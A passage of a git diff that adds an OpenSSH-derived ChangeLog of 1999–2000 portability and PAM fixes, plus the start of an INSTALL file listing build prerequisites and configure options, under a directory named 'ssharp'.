+ ok: provos@ + - [sshd.c] + - no need for poll.h; from bright@wintelcom.net + - disable agent fwding for proto 1.3, remove abuse of auth-rsa flags. + - split key exchange (kex) and user authentication (user-auth), + ok: provos@ + - Big manpage and config file cleanup from Andre Lucas + + - Re-added latest (unmodified) OpenBSD manpages + - Doc updates + - NetBSD patch from David Rankin and + Christos Zoulas + +20000119 + - SCO compile fixes from Gary E. Miller + - Compile fix from Darren_Hall@progressive.com + - Linux/glibc-2.1.2 takes a *long* time to look up names for AF_UNSPEC + addresses using getaddrinfo(). Added a configure switch to make the + default lookup mode AF_INET + +20000118 + - Fixed --with-pid-dir option + - Makefile fix from Gary E. Miller + - Compile fix for HPUX and Solaris from Andre Lucas + + +20000117 + - Clean up bsd-bindresvport.c. Use arc4random() for picking initial + port, ignore EINVAL errors (Linux) when searching for free port. + - Revert __snprintf -> snprintf aliasing. Apparently Solaris + __snprintf isn't. Report from Theo de Raadt + - Document location of Redhat PAM file in INSTALL. + - Fixed X11 forwarding bug on Linux. libc advertises AF_INET6 + INADDR_ANY_INIT addresses via getaddrinfo, but may not be able to + deliver (no IPv6 kernel support) + - Released 1.2.1pre27 + + - Fix rresvport_af failure errors (logic error in bsd-bindresvport.c) + - Fix --with-ipaddr-display option test. Fix from Jarno Huuskonen + + - Fix hang on logout if processes are still using the pty. Needs + further testing. + - Patch from Christos Zoulas + - Try $prefix first when looking for OpenSSL. + - Include sys/types.h when including sys/socket.h in test programs + - Substitute PID directory in sshd.8. Suggestion from Andrew + Stribblehill + +20000116 + - Renamed --with-xauth-path to --with-xauth + - Added --with-pid-dir option + - Released 1.2.1pre26 + + - Compilation fix from Kiyokazu SUTO + - Fixed broken bugfix for /dev/ptmx on Linux systems which lack + openpty(). Report from Kiyokazu SUTO + +20000115 + - Add --with-xauth-path configure directive and explicit test for + /usr/openwin/bin/xauth for Solaris systems. Report from Anders + Nordby + - Fix incorrect detection of /dev/ptmx on Linux systems that lack + openpty. Report from John Seifarth + - Look for intXX_t and u_intXX_t in sys/bitypes.h if they are not in + sys/types.h. Fixes problems on SCO, report from Gary E. Miller + + - Use __snprintf and __vnsprintf if they are found where snprintf and + vnsprintf are lacking. Suggested by Ben Taylor + and others. + +20000114 + - Merged OpenBSD IPv6 patch: + - [sshd.c sshd.8 sshconnect.c ssh.h ssh.c servconf.h servconf.c scp.1] + [scp.c packet.h packet.c login.c log.c canohost.c channels.c] + [hostfile.c sshd_config] + ipv6 support: mostly gethostbyname->getaddrinfo/getnameinfo, new + features: sshd allows multiple ListenAddress and Port options. note + that libwrap is not IPv6-ready. (based on patches from + fujiwara@rcac.tdi.co.jp) + - [ssh.c canohost.c] + more hints (hints.ai_socktype=SOCK_STREAM) for getaddrinfo, + from itojun@ + - [channels.c] + listen on _all_ interfaces for X11-Fwd (hints.ai_flags = AI_PASSIVE) + - [packet.h] + allow auth-kerberos for IPv4 only + - [scp.1 sshd.8 servconf.h scp.c] + document -4, -6, and 'ssh -L 2022/::1/22' + - [ssh.c] + 'ssh @host' is illegal (null user name), from + karsten@gedankenpolizei.de + - [sshconnect.c] + better error message + - [sshd.c] + allow auth-kerberos for IPv4 only + - Big IPv6 merge: + - Cleanup overrun in sockaddr copying on RHL 6.1 + - Replacements for getaddrinfo, getnameinfo, etc based on versions + from patch from KIKUCHI Takahiro + - Replacement for missing structures on systems that lack IPv6 + - record_login needed to know about AF_INET6 addresses + - Borrowed more code from OpenBSD: rresvport_af and requisites + +20000110 + - Fixes to auth-skey to enable it to use the standard OpenSSL libraries + +20000107 + - New config.sub and config.guess to fix problems on SCO. Supplied + by Gary E. Miller + - SCO build fix from Gary E. Miller + - Released 1.2.1pre25 + +20000106 + - Documentation update & cleanup + - Better KrbIV / AFS detection, based on patch from: + Holger Trapp + +20000105 + - Fixed annoying DES corruption problem. libcrypt has been + overriding symbols in libcrypto. Removed libcrypt and crypt.h + altogether (libcrypto includes its own crypt(1) replacement) + - Added platform-specific rules for Irix 6.x. Included warning that + they are untested. + +20000103 + - Add explicit make rules for files proccessed by fixpaths. + - Fix "make install" in RPM spec files. Report from Tenkou N. Hattori + + - Removed "nullok" directive from default PAM configuration files. + Added information on enabling EmptyPasswords on openssh+PAM in + UPGRADING file. + - OpenBSD CVS updates + - [ssh-agent.c] + cleanup_exit() for SIGTERM/SIGHUP, too. from fgsch@ and + dgaudet@arctic.org + - [sshconnect.c] + compare correct version for 1.3 compat mode + +20000102 + - Prevent multiple inclusion of config.h and defines.h. Suggested + by Andre Lucas + - Properly clean up on exit of ssh-agent. Patch from Dean Gaudet + + +19991231 + - Fix password support on systems with a mixture of shadowed and + non-shadowed passwords (e.g. NIS). Report and fix from + HARUYAMA Seigo + - Fix broken autoconf typedef detection. Report from Marc G. + Fournier + - Fix occasional crash on LinuxPPC. Patch from Franz Sirl + + - Prevent typedefs from being compiled more than once. Report from + Marc G. Fournier + - Fill in ut_utaddr utmp field. Report from Benjamin Charron + + - Really fix broken default path. Fix from Jim Knoble + + - Remove test for quad_t. No longer needed. + - Released 1.2.1pre24 + + - Added support for directory-based lastlogs + - Really fix typedefs, patch from Ben Taylor + +19991230 + - OpenBSD CVS updates: + - [auth-passwd.c] + check for NULL 1st + - Removed most of the pam code into its own file auth-pam.[ch]. This + cleaned up sshd.c up significantly. + - PAM authentication was incorrectly interpreting + "PermitRootLogin without-password". Report from Matthias Andree + + - Updated documentation with ./configure options + - Released 1.2.1pre23 + +19991229 + - Applied another NetBSD portability patch from David Rankin + + - Fix --with-default-path option. + - Autodetect perl, patch from David Rankin + + - Print whether OpenSSH was compiled with RSARef, patch from + Nalin Dahyabhai + - Calls to pam_setcred, patch from Nalin Dahyabhai + + - Detect missing size_t and typedef it. + - Rename helper.[ch] to (more appropriate) bsd-misc.[ch] + - Minor Makefile cleaning + +19991228 + - Replacement for getpagesize() for systems which lack it + - NetBSD login.c compile fix from David Rankin + + - Fully set ut_tv if present in utmp or utmpx + - Portability fixes for Irix 5.3 (now compiles OK!) + - autoconf and other misc cleanups + - Merged AIX patch from Darren Hall + - Cleaned up defines.h + - Released 1.2.1pre22 + +19991227 + - Automatically correct paths in manpages and configuration files. Patch + and script from Andre Lucas + - Removed credits from README to CREDITS file, updated. + - Added --with-default-path to specify custom path for server + - Removed #ifdef trickery from acconfig.h into defines.h + - PAM bugfix. PermitEmptyPassword was being ignored. + - Fixed PAM config files to allow empty passwords if server does. + - Explained spurious PAM auth warning workaround in UPGRADING + - Use last few chars of tty line as ut_id + - New SuSE RPM spec file from Chris Saia + - OpenBSD CVS updates: + - [packet.h auth-rhosts.c] + check format string for packet_disconnect and packet_send_debug, too + - [channels.c] + use packet_get_maxsize for channels. consistence. + +19991226 + - Enabled utmpx support by default for Solaris + - Cleanup sshd.c PAM a little more + - Revised RPM package to include Jim Knoble's + X11 ssh-askpass program. + - Disable logging of PAM success and failures, PAM is verbose enough. + Unfortunatly there is currently no way to disable auth failure + messages. Mention this in UPGRADING file and sent message to PAM + developers + - OpenBSD CVS update: + - [ssh-keygen.1 ssh.1] + remove ref to .ssh/random_seed, mention .ssh/environment in + .Sh FILES, too + - Released 1.2.1pre21 + - Fixed implicit '.' in default path, report from Jim Knoble + + - Redhat RPM spec fixes from Jim Knoble + +19991225 + - More fixes from Andre Lucas + - Cleanup of auth-passwd.c for shadow and MD5 passwords + - Cleanup and bugfix of PAM authentication code + - Released 1.2.1pre20 + + - Merged fixes from Ben Taylor + - Fixed configure support for PAM. Reported by Naz <96na@eng.cam.ac.uk> + - Disabled logging of PAM password authentication failures when password + is empty. (e.g start of authentication loop). Reported by Naz + <96na@eng.cam.ac.uk>) + +19991223 + - Merged later HPUX patch from Andre Lucas + + - Above patch included better utmpx support from Ben Taylor + + +19991222 + - Fix undefined fd_set type in ssh.h from Povl H. Pedersen + + - Fix login.c breakage on systems which lack ut_host in struct + utmp. Reported by Willard Dawson + +19991221 + - Integration of large HPUX patch from Andre Lucas + . Integrating it had a few other + benefits: + - Ability to disable shadow passwords at configure time + - Ability to disable lastlog support at configure time + - Support for IP address in $DISPLAY + - OpenBSD CVS update: + - [sshconnect.c] + say "REMOTE HOST IDENTIFICATION HAS CHANGED" + - Fix DISABLE_SHADOW support + - Allow MD5 passwords even if shadow passwords are disabled + - Release 1.2.1pre19 + +19991218 + - Redhat init script patch from Chun-Chung Chen + + - Avoid breakage on systems without IPv6 headers + +19991216 + - Makefile changes for Solaris from Peter Kocks + + - Minor updates to docs + - Merged OpenBSD CVS changes: + - [authfd.c ssh-agent.c] + keysize warnings talk about identity files + - [packet.c] + "Connection closed by x.x.x.x": fatal() -> log() + - Correctly handle empty passwords in shadow file. Patch from: + "Chris, the Young One" + - Released 1.2.1pre18 + +19991215 + - Integrated patchs from Juergen Keil + - Avoid void* pointer arithmatic + - Use LDFLAGS correctly + - Fix SIGIO error in scp + - Simplify status line printing in scp + - Added better test for inline functions compiler support from + Darren_Hall@progressive.com + +19991214 + - OpenBSD CVS Changes + - [canohost.c] + fix get_remote_port() and friends for sshd -i; + Holger.Trapp@Informatik.TU-Chemnitz.DE + - [mpaux.c] + make code simpler. no need for memcpy. niels@ ok + - [pty.c] + namebuflen not sizeof namebuflen; bnd@ep-ag.com via djm@mindrot.org + fix proto; markus + - [ssh.1] + typo; mark.baushke@solipsa.com + - [channels.c ssh.c ssh.h sshd.c] + type conflict for 'extern Type *options' in channels.c; dot@dotat.at + - [sshconnect.c] + move checking of hostkey into own function. + - [version.h] + OpenSSH-1.2.1 + - Clean up broken includes in pty.c + - Some older systems don't have poll.h, they use sys/poll.h instead + - Doc updates + +19991211 + - Fix compilation on systems with AFS. Reported by + aloomis@glue.umd.edu + - Fix installation on Solaris. Reported by + Gordon Rowell + - Fix gccisms (__attribute__ and inline). Report by edgy@us.ibm.com, + patch from Markus Friedl + - Auto-locate xauth. Patch from David Agraz + - Compile fix from David Agraz + - Avoid compiler warning in bsd-snprintf.c + - Added pam_limits.so to default PAM config. Suggested by + Jim Knoble + +19991209 + - Import of patch from Ben Taylor : + - Improved PAM support + - "uninstall" rule for Makefile + - utmpx support + - Should fix PAM problems on Solaris + - OpenBSD CVS updates: + - [readpass.c] + avoid stdio; based on work by markus, millert, and I + - [sshd.c] + make sure the client selects a supported cipher + - [sshd.c] + fix sighup handling. accept would just restart and daemon handled + sighup only after the next connection was accepted. use poll on + listen sock now. + - [sshd.c] + make that a fatal + - Applied patch from David Rankin + to fix libwrap support on NetBSD + - Released 1.2pre17 + +19991208 + - Compile fix for Solaris with /dev/ptmx from + David Agraz + +19991207 + - sshd Redhat init script patch from Jim Knoble + fixes compatability with 4.x and 5.x + - Fixed default SSH_ASKPASS + - Fix PAM account and session being called multiple times. Problem + reported by Adrian Baugh + - Merged more OpenBSD changes: + - [atomicio.c authfd.c scp.c serverloop.c ssh.h sshconnect.c sshd.c] + move atomicio into it's own file. wrap all socket write()s which + were doing write(sock, buf, len) != len, with atomicio() calls. + - [auth-skey.c] + fd leak + - [authfile.c] + properly name fd variable + - [channels.c] + display great hatred towards strcpy + - [pty.c pty.h sshd.c] + use openpty() if it exists (it does on BSD4_4) + - [tildexpand.c] + check for ~ expansion past MAXPATHLEN + - Modified helper.c to use new atomicio function. + - Reformat Makefile a little + - Moved RC4 routines from rc4.[ch] into helper.c + - Added autoconf code to detect /dev/ptmx (Solaris) and /dev/ptc (AIX) + - Updated SuSE spec from Chris Saia + - Tweaked Redhat spec + - Clean up bad imports of a few files (forgot -kb) + - Released 1.2pre16 + +19991204 + - Small cleanup of PAM code in sshd.c + - Merged OpenBSD CVS changes: + - [auth-krb4.c auth-passwd.c auth-skey.c ssh.h] + move skey-auth from auth-passwd.c to auth-skey.c, same for krb4 + - [auth-rsa.c] + warn only about mismatch if key is _used_ + warn about keysize-mismatch with log() not error() + channels.c readconf.c readconf.h ssh.c ssh.h sshconnect.c + ports are u_short + - [hostfile.c] + indent, shorter warning + - [nchan.c] + use error() for internal errors + - [packet.c] + set loglevel for SSH_MSG_DISCONNECT to log(), not fatal() + serverloop.c + indent + - [ssh-add.1 ssh-add.c ssh.h] + document $SSH_ASKPASS, reasonable default + - [ssh.1] + CheckHostIP is not available for connects via proxy command + - [sshconnect.c] + typo + easier to read client code for passwd and skey auth + turn of checkhostip for proxy connects, since we don't know the remote ip + +19991126 + - Add definition for __P() + - Added [v]snprintf() replacement for systems that lack it + +19991125 + - More reformatting merged from OpenBSD CVS + - Merged OpenBSD CVS changes: + - [channels.c] + fix packet_integrity_check() for !have_hostname_in_open. + report from mrwizard@psu.edu via djm@ibs.com.au + - [channels.c] + set SO_REUSEADDR and SO_LINGER for forwarded ports. + chip@valinux.com via damien@ibs.com.au + - [nchan.c] + it's not an error() if shutdown_write failes in nchan. + - [readconf.c] + remove dead #ifdef-0-code + - [readconf.c servconf.c] + strcasecmp instead of tolower + - [scp.c] + progress meter overflow fix from damien@ibs.com.au + - [ssh-add.1 ssh-add.c] + SSH_ASKPASS support + - [ssh.1 ssh.c] + postpone fork_after_authentication until command execution, + request/patch from jahakala@cc.jyu.fi via damien@ibs.com.au + plus: use daemon() for backgrounding + - Added BSD compatible install program and autoconf test, thanks to + Niels Kristian Bech Jensen + - Solaris fixing, thanks to Ben Taylor + - Merged beginnings of AIX support from Tor-Ake Fransson + - Release 1.2pre15 + +19991124 + - Merged very large OpenBSD source code reformat + - OpenBSD CVS updates + - [channels.c cipher.c compat.c log-client.c scp.c serverloop.c] + [ssh.h sshd.8 sshd.c] + syslog changes: + * Unified Logmessage for all auth-types, for success and for failed + * Standard connections get only ONE line in the LOG when level==LOG: + Auth-attempts are logged only, if authentication is: + a) successfull or + b) with passwd or + c) we had more than AUTH_FAIL_LOG failues + * many log() became verbose() + * old behaviour with level=VERBOSE + - [readconf.c readconf.h ssh.1 ssh.h sshconnect.c sshd.c] + tranfer s/key challenge/response data in SSH_SMSG_AUTH_TIS_CHALLENGE + messages. allows use of s/key in windows (ttssh, securecrt) and + ssh-1.2.27 clients without 'ssh -v', ok: niels@ + - [sshd.8] + -V, for fallback to openssh in SSH2 compatibility mode + - [sshd.c] + fix sigchld race; cjc5@po.cwru.edu + +19991123 + - Added SuSE package files from Chris Saia + - Restructured package-related files under packages/* + - Added generic PAM config + - Numerous little Solaris fixes + - Add recommendation to use GNU make to INSTALL document + +19991122 + - Make close gnome-ssh-askpass (Debian bug #50299) + - OpenBSD CVS Changes + - [ssh-keygen.c] + don't create ~/.ssh only if the user wants to store the private + key there. show fingerprint instead of public-key after + keygeneration. ok niels@ + - Added OpenBSD bsd-strlcat.c, created bsd-strlcat.h + - Added timersub() macro + - Tidy RCSIDs of bsd-*.c + - Added autoconf test and macro to deal with old PAM libraries + pam_strerror definition (one arg vs two). + - Fix EGD problems (Thanks to Ben Taylor ) + - Retry /dev/urandom reads interrupted by signal (report from + Robert Hardy ) + - Added a setenv replacement for systems which lack it + - Only display public key comment when presenting ssh-askpass dialog + - Released 1.2pre14 + + - Configure, Make and changelog corrections from Tudor Bosman + and Niels Kristian Bech Jensen + +19991121 + - OpenBSD CVS Changes: + - [channels.c] + make this compile, bad markus + - [log.c readconf.c servconf.c ssh.h] + bugfix: loglevels are per host in clientconfig, + factor out common log-level parsing code. + - [servconf.c] + remove unused index (-Wall) + - [ssh-agent.c] + only one 'extern char *__progname' + - [sshd.8] + document SIGHUP, -Q to synopsis + - [sshconnect.c serverloop.c sshd.c packet.c packet.h] + [channels.c clientloop.c] + SSH_CMSG_MAX_PACKET_SIZE, some clients use this, some need this, niels@ + [hope this time my ISP stays alive during commit] + - [OVERVIEW README] typos; green@freebsd + - [ssh-keygen.c] + replace xstrdup+strcat with strlcat+fixed buffer, fixes OF (bad me) + exit if writing the key fails (no infinit loop) + print usage() everytime we get bad options + - [ssh-keygen.c] overflow, djm@mindrot.org + - [sshd.c] fix sigchld race; cjc5@po.cwru.edu + +19991120 + - Merged more Solaris support from Marc G. Fournier + + - Wrote autoconf tests for integer bit-types + - Fixed enabling kerberos support + - Fix segfault in ssh-keygen caused by buffer overrun in filename + handling. + +19991119 + - Merged PAM buffer overrun patch from Chip Salzenberg + - Merged OpenBSD CVS changes + - [auth-rhosts.c auth-rsa.c ssh-agent.c sshconnect.c sshd.c] + more %d vs. %s in fmt-strings + - [authfd.c] + Integers should not be printed with %s + - EGD uses a socket, not a named pipe. Duh. + - Fix includes in fingerprint.c + - Fix scp progress bar bug again. + - Move ssh-askpass from ${libdir}/ssh to ${libexecdir}/ssh at request of + David Rankin + - Added autoconf option to enable Kerberos 4 support (untested) + - Added autoconf option to enable AFS support (untested) + - Added autoconf option to enable S/Key support (untested) + - Added autoconf option to enable TCP wrappers support (compiles OK) + - Renamed BSD helper function files to bsd-* + - Added tests for login and daemon and enable OpenBSD replacements for + when they are absent. + - Added non-PAM MD5 password support patch from Tudor Bosman + +19991118 + - Merged OpenBSD CVS changes + - [scp.c] foregroundproc() in scp + - [sshconnect.h] include fingerprint.h + - [sshd.c] bugfix: the log() for passwd-auth escaped during logging + changes. + - [ssh.1] Spell my name right. + - Added openssh.com info to README + +19991117 + - Merged OpenBSD CVS changes + - [ChangeLog.Ylonen] noone needs this anymore + - [authfd.c] close-on-exec for auth-socket, ok deraadt + - [hostfile.c] + in known_hosts key lookup the entry for the bits does not need + to match, all the information is contained in n and e. This + solves the problem with buggy servers announcing the wrong + modulus length. markus and me. + - [serverloop.c] + bugfix: check for space if child has terminated, from: + iedowse@maths.tcd.ie + - [ssh-add.1 ssh-add.c ssh-keygen.1 ssh-keygen.c sshconnect.c] + [fingerprint.c fingerprint.h] + rsa key fingerprints, idea from Bjoern Groenvall + - [ssh-agent.1] typo + - [ssh.1] add OpenSSH information to AUTHOR section. okay markus@ + - [sshd.c] + force logging to stderr while loading private key file + (lost while converting to new log-levels) + +19991116 + - Fix some Linux libc5 problems reported by Miles Wilson + - Merged OpenBSD CVS changes: + - [auth-rh-rsa.c auth-rsa.c authfd.c authfd.h hostfile.c mpaux.c] + [mpaux.h ssh-add.c ssh-agent.c ssh.h ssh.c sshd.c] + the keysize of rsa-parameter 'n' is passed implizit, + a few more checks and warnings about 'pretended' keysizes. + - [cipher.c cipher.h packet.c packet.h sshd.c] + remove support for cipher RC4 + - [ssh.c] + a note for legay systems about secuity issues with permanently_set_uid(), + the private hostkey and ptrace() + - [sshconnect.c] + more detailed messages about adding and checking hostkeys + +19991115 + - Merged OpenBSD CVS changes: + - [ssh-add.c] change passphrase loop logic and remove ref to + $DISPLAY, ok niels + - Changed to ssh-add.c broke askpass support. Revised it to be a little more + modular. + - Revised autoconf support for enabling/disabling askpass support. + - Merged more OpenBSD CVS changes: + [auth-krb4.c] + - disconnect if getpeername() fails + - missing xfree(*client) + [canohost.c] + - disconnect if getpeername() fails + - fix comment: we _do_ disconnect if ip-options are set + [sshd.c] + - disconnect if getpeername() fails + - move checking of remote port to central place + [auth-rhosts.c] move checking of remote port to central place + [log-server.c] avoid extra fd per sshd, from millert@ + [readconf.c] print _all_ bad config-options in ssh(1), too + [readconf.h] print _all_ bad config-options in ssh(1), too + [ssh.c] print _all_ bad config-options in ssh(1), too + [sshconnect.c] disconnect if getpeername() fails + - OpenBSD's changes to sshd.c broke the PAM stuff, re-merged it. + - Various small cleanups to bring diff (against OpenBSD) size down. + - Merged more Solaris compability from Marc G. Fournier + + - Wrote autoconf tests for __progname symbol + - RPM spec file fixes from Jim Knoble + - Released 1.2pre12 + + - Another OpenBSD CVS update: + - [ssh-keygen.1] fix .Xr + +19991114 + - Solaris compilation fixes (still imcomplete) + +19991113 + - Build patch from Niels Kristian Bech Jensen + - Don't install config files if they already exist + - Fix inclusion of additional preprocessor directives from acconfig.h + - Removed redundant inclusions of config.h + - Added 'Obsoletes' lines to RPM spec file + - Merged OpenBSD CVS changes: + - [bufaux.c] save a view malloc/memcpy/memset/free's, ok niels + - [scp.c] fix overflow reported by damien@ibs.com.au: off_t + totalsize, ok niels,aaron + - Delay fork (-f option) in ssh until after port forwarded connections + have been initialised. Patch from Jani Hakala + - Added shadow password patch from Thomas Neumann + - Added ifdefs to auth-passwd.c to exclude it when PAM is enabled + - Tidied default config file some more + - Revised Redhat initscript to fix bug: sshd (re)start would fail + if executed from inside a ssh login. + +19991112 + - Merged changes from OpenBSD CVS + - [sshd.c] session_key_int may be zero + - [auth-rh-rsa.c servconf.c servconf.h ssh.h sshd.8 sshd.c sshd_config] + IgnoreUserKnownHosts(default=no), used for RhostRSAAuth, ok + deraadt,millert + - Brought default sshd_config more in line with OpenBSD's + - Grab server in gnome-ssh-askpass (Debian bug #49872) + - Released 1.2pre10 + + - Added INSTALL documentation + - Merged yet more changes from OpenBSD CVS + - [auth-rh-rsa.c auth-rhosts.c auth-rsa.c channels.c clientloop.c] + [ssh.c ssh.h sshconnect.c sshd.c] + make all access to options via 'extern Options options' + and 'extern ServerOptions options' respectively; + options are no longer passed as arguments: + * make options handling more consistent + * remove #include "readconf.h" from ssh.h + * readconf.h is only included if necessary + - [mpaux.c] clear temp buffer + - [servconf.c] print _all_ bad options found in configfile + - Make ssh-askpass support optional through autoconf + - Fix nasty division-by-zero error in scp.c + - Released 1.2pre11 + +19991111 + - Added (untested) Entropy Gathering Daemon (EGD) support + - Fixed /dev/urandom fd leak (Debian bug #49722) + - Merged OpenBSD CVS changes: + - [auth-rh-rsa.c] user/958: check ~/.ssh/known_hosts for rhosts-rsa, too + - [ssh.1] user/958: check ~/.ssh/known_hosts for rhosts-rsa, too + - [sshd.8] user/958: check ~/.ssh/known_hosts for rhosts-rsa, too + - Fix integer overflow which was messing up scp's progress bar for large + file transfers. Fix submitted to OpenBSD developers. Report and fix + from Kees Cook + - Merged more OpenBSD CVS changes: + - [auth-krb4.c auth-passwd.c] remove x11- and krb-cleanup from fatal() + + krb-cleanup cleanup + - [clientloop.c log-client.c log-server.c ] + [readconf.c readconf.h servconf.c servconf.h ] + [ssh.1 ssh.c ssh.h sshd.8] + add LogLevel {QUIET, FATAL, ERROR, INFO, CHAT, DEBUG} to ssh/sshd, + obsoletes QuietMode and FascistLogging in sshd. + - [sshd.c] fix fatal/assert() bug reported by damien@ibs.com.au: + allow session_key_int != sizeof(session_key) + [this should fix the pre-assert-removal-core-files] + - Updated default config file to use new LogLevel option and to improve + readability + +19991110 + - Merged several minor fixes: + - ssh-agent commandline parsing + - RPM spec file now installs ssh setuid root + - Makefile creates libdir + - Merged beginnings of Solaris compability from Marc G. Fournier + + +19991109 + - Autodetection of SSL/Crypto library location via autoconf + - Fixed location of ssh-askpass to follow autoconf + - Integrated Makefile patch from Niels Kristian Bech Jensen + - Autodetection of RSAref library for US users + - Minor doc updates + - Merged OpenBSD CVS changes: + - [rsa.c] bugfix: use correct size for memset() + - [sshconnect.c] warn if announced size of modulus 'n' != real size + - Added GNOME passphrase requestor (use --with-gnome-askpass) + - RPM build now creates subpackages + - Released 1.2pre9 + +19991108 + - Removed debian/ directory. This is now being maintained separately. + - Added symlinks for slogin in RPM spec file + - Fixed permissions on manpages in RPM spec file + - Added references to required libraries in README file + - Removed config.h.in from CVS + - Removed pwdb support (better pluggable auth is provided by glibc) + - Made PAM and requisite libdl optional + - Removed lots of unnecessary checks from autoconf + - Added support and autoconf test for openpty() function (Unix98 pty support) + - Fix for scp not finding ssh if not installed as /usr/bin/ssh + - Added TODO file + - Merged parts of Debian patch From Phil Hands : + - Added ssh-askpass program + - Added ssh-askpass support to ssh-add.c + - Create symlinks for slogin on install + - Fix "distclean" target in makefile + - Added example for ssh-agent to manpage + - Added support for PAM_TEXT_INFO messages + - Disable internal /etc/nologin support if PAM enabled + - Merged latest OpenBSD CVS changes: + - [all] replace assert() with error, fatal or packet_disconnect + - [sshd.c] don't send fail-msg but disconnect if too many authentication + failures + - [sshd.c] remove unused argument. ok dugsong + - [sshd.c] typo + - [rsa.c] clear buffers used for encryption. ok: niels + - [rsa.c] replace assert() with error, fatal or packet_disconnect + - [auth-krb4.c] remove unused argument. ok dugsong + - Fixed coredump after merge of OpenBSD rsa.c patch + - Released 1.2pre8 + +19991102 + - Merged change from OpenBSD CVS + - One-line cleanup in sshd.c + +19991030 + - Integrated debian package support from Dan Brosemer + - Merged latest updates for OpenBSD CVS: + - channels.[ch] - remove broken x11 fix and document istate/ostate + - ssh-agent.c - call setsid() regardless of argv[] + - ssh.c - save a few lines when disabling rhosts-{rsa-}auth + - Documentation cleanups + - Renamed README -> README.Ylonen + - Renamed README.openssh ->README + +19991029 + - Renamed openssh* back to ssh* at request of Theo de Raadt + - Incorporated latest changes from OpenBSD's CVS + - Integrated Makefile patch from Niels Kristian Bech Jensen + - Integrated PAM env patch from Nalin Dahyabhai + - Make distclean now removed configure script + - Improved PAM logging + - Added some debug() calls for PAM + - Removed redundant subdirectories + - Integrated part of a patch from Dan Brosemer for + building on Debian. + - Fixed off-by-one error in PAM env patch + - Released 1.2pre6 + +19991028 + - Further PAM enhancements. + - Much cleaner + - Now uses account and session modules for all logins. + - Integrated patch from Dan Brosemer + - Build fixes + - Autoconf + - Change binary names to open* + - Fixed autoconf script to detect PAM on RH6.1 + - Added tests for libpwdb, and OpenBSD functions to autoconf + - Released 1.2pre4 + + - Imported latest OpenBSD CVS code + - Updated README.openssh + - Released 1.2pre5 + +19991027 + - Adapted PAM patch. + - Released 1.0pre2 + + - Excised my buggy replacements for strlcpy and mkdtemp + - Imported correct OpenBSD strlcpy and mkdtemp routines. + - Reduced arc4random_stir entropy read to 32 bytes (256 bits) + - Picked up correct version number from OpenBSD + - Added sshd.pam PAM configuration file + - Added sshd.init Redhat init script + - Added openssh.spec RPM spec file + - Released 1.2pre3 + +19991026 + - Fixed include paths of OpenSSL functions + - Use OpenSSL MD5 routines + - Imported RC4 code from nanocrypt + - Wrote replacements for OpenBSD arc4random* functions + - Wrote replacements for strlcpy and mkdtemp + - Released 1.0pre1 + +$Id: ChangeLog,v 1.3 2002/05/10 22:24:35 stealth Exp $ diff --git a/other/ssharp/INSTALL b/other/ssharp/INSTALL new file mode 100644 index 0000000..dd73996 --- /dev/null +++ b/other/ssharp/INSTALL @@ -0,0 +1,230 @@ +1. Prerequisites +---------------- + +You will need working installations of Zlib and OpenSSL. + +Zlib: +http://www.freesoftware.com/pub/infozip/zlib/ + +OpenSSL 0.9.5a or greater: +http://www.openssl.org/ + +RPMs of OpenSSL are available at http://violet.ibs.com.au/openssh/files/support. +For Red Hat Linux 6.2, they have been released as errata. RHL7 includes +these. + +OpenSSH can utilise Pluggable Authentication Modules (PAM) if your system +supports it. PAM is standard on Redhat and Debian Linux, Solaris and +HP-UX 11. + +PAM: +http://www.kernel.org/pub/linux/libs/pam/ + +If you wish to build the GNOME passphrase requester, you will need the GNOME +libraries and headers. + +GNOME: +http://www.gnome.org/ + +Alternatively, Jim Knoble has written an excellent X11 +passphrase requester. This is maintained separately at: + +http://www.ntrnet.net/~jmknoble/software/x11-ssh-askpass/index.html + +PRNGD: + +If your system lacks Kernel based random collection, the use of Lutz +Jaenicke's PRNGd is recommended. + +http://www.aet.tu-cottbus.de/personen/jaenicke/postfix_tls/prngd.html + +EGD: + +The Entropy Gathering Daemon (EGD) is supported if you have a system which +lacks /dev/random and don't want to use OpenSSH's internal entropy collection. + +http://www.lothar.com/tech/crypto/ + +GNU Make: +ftp://ftp.gnu.org/gnu/make/ + +OpenSSH has only been tested with GNU make. It may work with other +'make' programs, but you are on your own. + +PCRE (PERL-compatible Regular Expression library): +ftp://ftp.cus.cam.ac.uk/pub/software/programing/pcre/ + +Most platforms do not require this. However older Unices may not have a +posix regex library. PCRE provides a POSIX interface. + +S/Key Libraries: +http://www.sparc.spb.su/solaris/skey/ + +If you wish to use --with-skey then you will need the above library +installed. No other current S/Key library is currently known to be +supported. + +2. Building / Installation +-------------------------- + +To install OpenSSH with default options: + +./configure +make +make install + +This will install the OpenSSH binaries in /usr/local/bin, configuration files +in /usr/local/etc, the server in /usr/local/sbin, etc. To specify a different +installation prefix, use the --prefix option to configure: + +./configure --prefix=/opt +make +make install + +Will install OpenSSH in /opt/{bin,etc,lib,sbin}. You can also override +specific paths, for example: + +./configure --prefix=/opt --sysconfdir=/etc/ssh +make +make install + +This will install the binaries in /opt/{bin,lib,sbin}, but will place the +configuration files in /etc/ssh. + +If you are using PAM, you may need to manually install a PAM control +file as "/etc/pam.d/sshd" (or wherever your system prefers to keep +them). Note that the service name used to start PAM is __progname, +which is the basename of the path of your sshd (e.g., the service name +for /usr/sbin/osshd will be osshd). If you have renamed your sshd +executable, your PAM configuration may need to be modified. + +A generic PAM configuration is included as "contrib/sshd.pam.generic", +you may need to edit it before using it on your system. If you are +using a recent version of Red Hat Linux, the config file in +contrib/redhat/sshd.pam should be more useful. Failure to install a +valid PAM file may result in an inability to use password +authentication. On HP-UX 11 and Solaris, the standard /etc/pam.conf +configuration will work with sshd (sshd will match the other service +name). + +There are a few other options to the configure script: + +--with-rsh=PATH allows you to specify the path to your rsh program. +Normally ./configure will search the current $PATH for 'rsh'. You +may need to specify this option if rsh is not in your path or has a +different name. + +--with-pam enables PAM support. + +--enable-gnome-askpass will build the GNOME passphrase dialog. You +need a working installation of GNOME, including the development +headers, for this to work. + +--with-random=/some/file allows you to specify an alternate source of +random numbers (the default is /dev/urandom). Unless you are absolutely +sure of what you are doing, it is best to leave this alone. + +--with-prngd-socket=/some/file allows you to enable EGD or PRNGD +support and to specify a PRNGd socket. Use this if your Unix lacks +/dev/random and you don't want to use OpenSSH's builtin entropy +collection support. + +--with-prngd-port=portnum allows you to enable EGD or PRNGD support +and to specify a EGD localhost TCP port. Use this if your Unix lacks +/dev/random and you don't want to use OpenSSH's builtin entropy +collection support. + +--with-lastlog=FILE will specify the location of the lastlog file. +./configure searches a few locations for lastlog, but may not find +it if lastlog is installed in a different place. + 